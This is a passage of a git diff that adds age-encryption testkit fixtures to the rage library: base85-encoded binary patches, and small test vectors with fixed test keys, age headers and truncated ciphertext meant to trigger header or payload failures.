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 F^uaHRls5nX literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_nonce b/lib/rage/age/tests/testdata/testkit/stream_no_nonce new file mode 100644 index 0000000..62dcf36 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_no_nonce @@ -0,0 +1,8 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 diff --git a/lib/rage/age/tests/testdata/testkit/stream_short_chunk b/lib/rage/age/tests/testdata/testkit/stream_short_chunk new file mode 100644 index 0000000..13796de --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_short_chunk @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL[æè. ½Ó#Èw \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_short_nonce b/lib/rage/age/tests/testdata/testkit/stream_short_nonce new file mode 100644 index 0000000..06dc835 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_short_nonce @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_short_second_chunk b/lib/rage/age/tests/testdata/testkit/stream_short_second_chunk new file mode 100644 index 0000000000000000000000000000000000000000..c448186da1a3926baecf0bc1cce37815dc9d6f8a GIT binary patch literal 65975 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 